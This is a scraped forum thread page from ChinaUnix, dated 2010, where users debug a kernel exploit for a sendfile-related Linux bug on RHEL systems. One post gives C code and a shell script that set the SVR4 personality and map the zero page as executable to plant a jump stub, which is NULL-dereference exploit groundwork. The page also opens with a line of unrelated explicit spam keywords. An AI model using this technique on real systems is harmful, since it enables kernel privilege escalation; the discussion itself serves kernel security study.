亚洲av成人无遮挡网站在线观看,少妇性bbb搡bbb爽爽爽,亚洲av日韩精品久久久久久,兔费看少妇性l交大片免费,无码少妇一区二区三区

  免費注冊 查看新帖 |

Chinaunix

  平臺 論壇 博客 文庫
最近訪問板塊 發(fā)新帖
樓主: kouu
打印 上一主題 下一主題

剖析一個由sendfile引發(fā)的linux內核BUG [復制鏈接]

論壇徽章:
36
IT運維版塊每日發(fā)帖之星
日期:2016-04-10 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-04-16 06:20:0015-16賽季CBA聯(lián)賽之廣東
日期:2016-04-16 19:59:32IT運維版塊每日發(fā)帖之星
日期:2016-04-18 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-04-19 06:20:00每日論壇發(fā)貼之星
日期:2016-04-19 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-04-25 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-05-06 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-05-08 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-05-13 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-05-28 06:20:00每日論壇發(fā)貼之星
日期:2016-05-28 06:20:00
41 [報告]
發(fā)表于 2010-01-16 21:47 |只看該作者
原帖由 W.Z.T 于 2010-1-16 20:36 發(fā)表


標準內核是在2.6.26以后才被加進selinux里, redhat的系統(tǒng)不是標準內核, 估計他們打了相關的補丁。

哦,那就是了。我測試的三個RHEL環(huán)境中,有一個用的是安裝的系統(tǒng)自帶的內核,應該是RH打過補丁的。另外兩個都是我自己編譯的2.6.18.3的內核。就算開啟了SElinux,應該也不會有這個變量。

論壇徽章:
5
摩羯座
日期:2014-07-22 09:03:552015元宵節(jié)徽章
日期:2015-03-06 15:50:392015亞冠之大阪鋼巴
日期:2015-06-12 16:01:352015年中國系統(tǒng)架構師大會
日期:2015-06-29 16:11:2815-16賽季CBA聯(lián)賽之四川
日期:2018-12-17 14:10:21
42 [報告]
發(fā)表于 2010-01-16 22:00 |只看該作者
原帖由 Godbach 于 2010-1-16 21:42 發(fā)表


對,默認安裝和啟動了SElinux,后來關閉的。

不過感覺我的幾個環(huán)境有點區(qū)別,都是RHEL5.2,開始裝的是都應該啟動了SElinux,但是兩個測試環(huán)境中都沒有了mmap_min_addr文件

看看config文件里面是不是帶了CONFIG_DEFAULT_MMAP_MIN_ADDR

論壇徽章:
36
IT運維版塊每日發(fā)帖之星
日期:2016-04-10 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-04-16 06:20:0015-16賽季CBA聯(lián)賽之廣東
日期:2016-04-16 19:59:32IT運維版塊每日發(fā)帖之星
日期:2016-04-18 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-04-19 06:20:00每日論壇發(fā)貼之星
日期:2016-04-19 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-04-25 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-05-06 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-05-08 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-05-13 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-05-28 06:20:00每日論壇發(fā)貼之星
日期:2016-05-28 06:20:00
43 [報告]
發(fā)表于 2010-01-16 22:15 |只看該作者
你安裝的系統(tǒng)是默認安裝和啟動了selinux吧, 安裝selinux就會在/proc目錄下有mmap_min_addr文件。 關閉selinux之后這個還是應該存在的吧, 只是失效了而已。

WZT兄,我在我的測試環(huán)境中,默認用了RHEL5.2的內核,禁用了Selinux之后,重啟系統(tǒng),mmap_min_addr文件還存在,可以如你說的應該失效了。
執(zhí)行getenforce得到的結果也是:Disabled。

然后執(zhí)行exp的程序,就是那個run.sh,出錯信息和我之前貼出的一樣:
mprotect: Cannot allocated memory


也就是mprotect這個函數沒有執(zhí)行成功。

論壇徽章:
36
IT運維版塊每日發(fā)帖之星
日期:2016-04-10 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-04-16 06:20:0015-16賽季CBA聯(lián)賽之廣東
日期:2016-04-16 19:59:32IT運維版塊每日發(fā)帖之星
日期:2016-04-18 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-04-19 06:20:00每日論壇發(fā)貼之星
日期:2016-04-19 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-04-25 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-05-06 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-05-08 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-05-13 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-05-28 06:20:00每日論壇發(fā)貼之星
日期:2016-05-28 06:20:00
44 [報告]
發(fā)表于 2010-01-16 22:43 |只看該作者
原帖由 T-Bagwell 于 2010-1-16 22:00 發(fā)表

看看config文件里面是不是帶了CONFIG_DEFAULT_MMAP_MIN_ADDR


沒有帶這個

論壇徽章:
5
摩羯座
日期:2014-07-22 09:03:552015元宵節(jié)徽章
日期:2015-03-06 15:50:392015亞冠之大阪鋼巴
日期:2015-06-12 16:01:352015年中國系統(tǒng)架構師大會
日期:2015-06-29 16:11:2815-16賽季CBA聯(lián)賽之四川
日期:2018-12-17 14:10:21
45 [報告]
發(fā)表于 2010-01-16 23:06 |只看該作者

  1. 222 config DEFAULT_MMAP_MIN_ADDR
  2. 223         int "Low address space to protect from user allocation"
  3. 224     depends on MMU
  4. 225         default 4096
  5. 226         help
  6. 227       This is the portion of low virtual memory which should be protected
  7. 228       from userspace allocation.  Keeping a user from writing to low pages
  8. 229       can help reduce the impact of kernel NULL pointer bugs.
  9. 230
  10. 231       For most ia64, ppc64 and x86 users with lots of address space
  11. 232       a value of 65536 is reasonable and should cause no problems.
  12. 233       On arm and other archs it should not be higher than 32768.
  13. 234       Programs which use vm86 functionality or have some need to map
  14. 235       this low address space will need CAP_SYS_RAWIO or disable this
  15. 236       protection by setting the value to 0.
  16. 237
  17. 238       This value can be changed after boot using the
  18. 239       /proc/sys/vm/mmap_min_addr tunable.

復制代碼


會不會和這個有關系呢

論壇徽章:
0
46 [報告]
發(fā)表于 2010-01-17 08:32 |只看該作者
原帖由 Godbach 于 2010-1-16 22:15 發(fā)表

WZT兄,我在我的測試環(huán)境中,默認用了RHEL5.2的內核,禁用了Selinux之后,重啟系統(tǒng),mmap_min_addr文件還存在,可以如你說的應該失效了。
執(zhí)行getenforce得到的結果也是:Disabled。

然后執(zhí)行exp的程序, ...


我這沒有as5.2的內核, 你可以再在自己build的2.6.18.3系統(tǒng)上測試下exp程序, 如果成功了, 說明as5.2的系統(tǒng)打了什么補丁禁止mprotect的修改了。 我猜測的


BTW: 我在as5.4下都能修改成功。

mmap.c

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <sys/personality.h>
  5. #include <sys/mman.h>
  6. #include <errno.h>

  7. void test_code(void)
  8. {
  9.         printf("We are mmapped in zero memory!\n");
  10. }

  11. int mmap_zero_memory(void)
  12. {
  13.         void *mem;


  14.         if ((personality(0xffffffff)) != PER_SVR4) {
  15.                 mem = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE| PROT_EXEC,
  16.                         MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
  17.                 if (mem == MAP_FAILED || mem != NULL) {
  18.                         fprintf(stderr, "[+] Try fix mmap prot.\n");
  19.                         mem = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE,
  20.                                 MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
  21.                         if (mem == MAP_FAILED || mem != NULL) {
  22.                                 fprintf(stderr,
  23.                                         "[-] Unable mmap to zero memory.\n");
  24.                                 return -1;
  25.                         }
  26.                 }
  27.                 if (mem == NULL) {
  28.                         fprintf(stderr, "[+] Mmap to zero memroy.\n");\
  29.                 }
  30.         }
  31.         else {
  32.                 if (mprotect(0x0, 0x10, PROT_READ | PROT_WRITE | PROT_EXEC)
  33.                         == -1) {
  34.                         perror("mprotect");
  35.                         fprintf(stderr, "[-] Unable mmap to zero memory.\n");
  36.                         return -1;
  37.                 }
  38.                 fprintf(stderr, "[+] Mprotect zero memroy success.\n");
  39.         }

  40.         *(char *)0 = '\x90';
  41.         *(char *)1 = '\xe9';
  42.         *(unsigned long *)2 = (unsigned long)&test_code - 6;

  43.         return 0;
  44. }

  45. int main(void)
  46. {
  47.         mmap_zero_memory();
  48. }
復制代碼


run.c


  1. #include <sys/personality.h>
  2. #include <stdio.h>
  3. #include <unistd.h>

  4. int main(void) {
  5.         if (personality(PER_SVR4) < 0) {
  6.                 perror("personality");
  7.                 return -1;
  8.         }

  9.         fprintf(stderr, "set personality PER_SVR4 successful.\n");

  10.         execl("./mmap", "mmap", 0);
  11. }
復制代碼


run.sh

  1. #!/bin/sh

  2. gcc -o run run.c && \
  3. gcc -o exploit exploit.c && \
  4. ./run
復制代碼

[ 本帖最后由 W.Z.T 于 2010-1-17 11:36 編輯 ]

論壇徽章:
36
IT運維版塊每日發(fā)帖之星
日期:2016-04-10 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-04-16 06:20:0015-16賽季CBA聯(lián)賽之廣東
日期:2016-04-16 19:59:32IT運維版塊每日發(fā)帖之星
日期:2016-04-18 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-04-19 06:20:00每日論壇發(fā)貼之星
日期:2016-04-19 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-04-25 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-05-06 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-05-08 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-05-13 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-05-28 06:20:00每日論壇發(fā)貼之星
日期:2016-05-28 06:20:00
47 [報告]
發(fā)表于 2010-01-17 11:23 |只看該作者
我這沒有as5.2的內核, 你可以再在自己build的2.6.18.3系統(tǒng)上測試下exp程序, 如果成功了, 說明as5.2的系統(tǒng)打了什么補丁禁止mprotect的修改了。 我猜測的

多謝,應該是這個原因。我自己編譯的內核版本用了2.6.18.3的,開不開啟SElinux都可以exp的。

論壇徽章:
36
IT運維版塊每日發(fā)帖之星
日期:2016-04-10 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-04-16 06:20:0015-16賽季CBA聯(lián)賽之廣東
日期:2016-04-16 19:59:32IT運維版塊每日發(fā)帖之星
日期:2016-04-18 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-04-19 06:20:00每日論壇發(fā)貼之星
日期:2016-04-19 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-04-25 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-05-06 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-05-08 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-05-13 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-05-28 06:20:00每日論壇發(fā)貼之星
日期:2016-05-28 06:20:00
48 [報告]
發(fā)表于 2010-01-17 11:24 |只看該作者
231       For most ia64, ppc64 and x86 users with lots of address space
232       a value of 65536 is reasonable and should cause no problems.

嗯,裝完RHEL 5.2,這個值默認就是65536

論壇徽章:
0
49 [報告]
發(fā)表于 2010-01-17 11:43 |只看該作者
原帖由 Godbach 于 2010-1-17 11:24 發(fā)表

嗯,裝完RHEL 5.2,這個值默認就是65536


看我重新編輯過的帖子, 可以在 as5.4下修改0地址屬性。 針對2.6.26以前的系統(tǒng)exploit有2個方案來映射0地址內存, 設置PER_SRV4后, 就可以用mrptect來修改0地址屬性了, 因此跟selinux開不開都沒啥關系了吧, 更跟mmap_min_addr這個東西有沒有關系了吧。 另外 2.6.18的內核mrptect也是允許修改0地址屬性的。


  1. asmlinkage long
  2. sys_mprotect(unsigned long start, size_t len, unsigned long prot)
  3. {
  4. ...
  5.         else {
  6.                 if (vma->vm_start > start)
  7.                         goto out;
復制代碼

設置完PER_SRV4后, 內核在加載elf文件的時候, 自動把0地址的空間映射到用戶進程上了, 所以start是0的話, 是可以滿足條件的。

[ 本帖最后由 W.Z.T 于 2010-1-17 11:59 編輯 ]

論壇徽章:
36
IT運維版塊每日發(fā)帖之星
日期:2016-04-10 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-04-16 06:20:0015-16賽季CBA聯(lián)賽之廣東
日期:2016-04-16 19:59:32IT運維版塊每日發(fā)帖之星
日期:2016-04-18 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-04-19 06:20:00每日論壇發(fā)貼之星
日期:2016-04-19 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-04-25 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-05-06 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-05-08 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-05-13 06:20:00IT運維版塊每日發(fā)帖之星
日期:2016-05-28 06:20:00每日論壇發(fā)貼之星
日期:2016-05-28 06:20:00
50 [報告]
發(fā)表于 2010-01-17 12:03 |只看該作者

回復 #49 W.Z.T 的帖子

多謝WZT兄的詳細解釋。這個應該印證了我用標準的2.6.18編譯之后可以exp的原因。

另外,為什么那個程序還要分出來一個run.c呢。他也就是設置一下PER_SVR4。不可以合并到同一個文件里嗎?
您需要登錄后才可以回帖 登錄 | 注冊

本版積分規(guī)則 發(fā)表回復

  

北京盛拓優(yōu)訊信息技術有限公司. 版權所有 京ICP備16024965號-6 北京市公安局海淀分局網監(jiān)中心備案編號:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年舉報專區(qū)
中國互聯(lián)網協(xié)會會員  聯(lián)系我們:huangweiwei@itpub.net
感謝所有關心和支持過ChinaUnix的朋友們 轉載本站內容請注明原作者名及出處

清除 Cookies - ChinaUnix - Archiver - WAP - TOP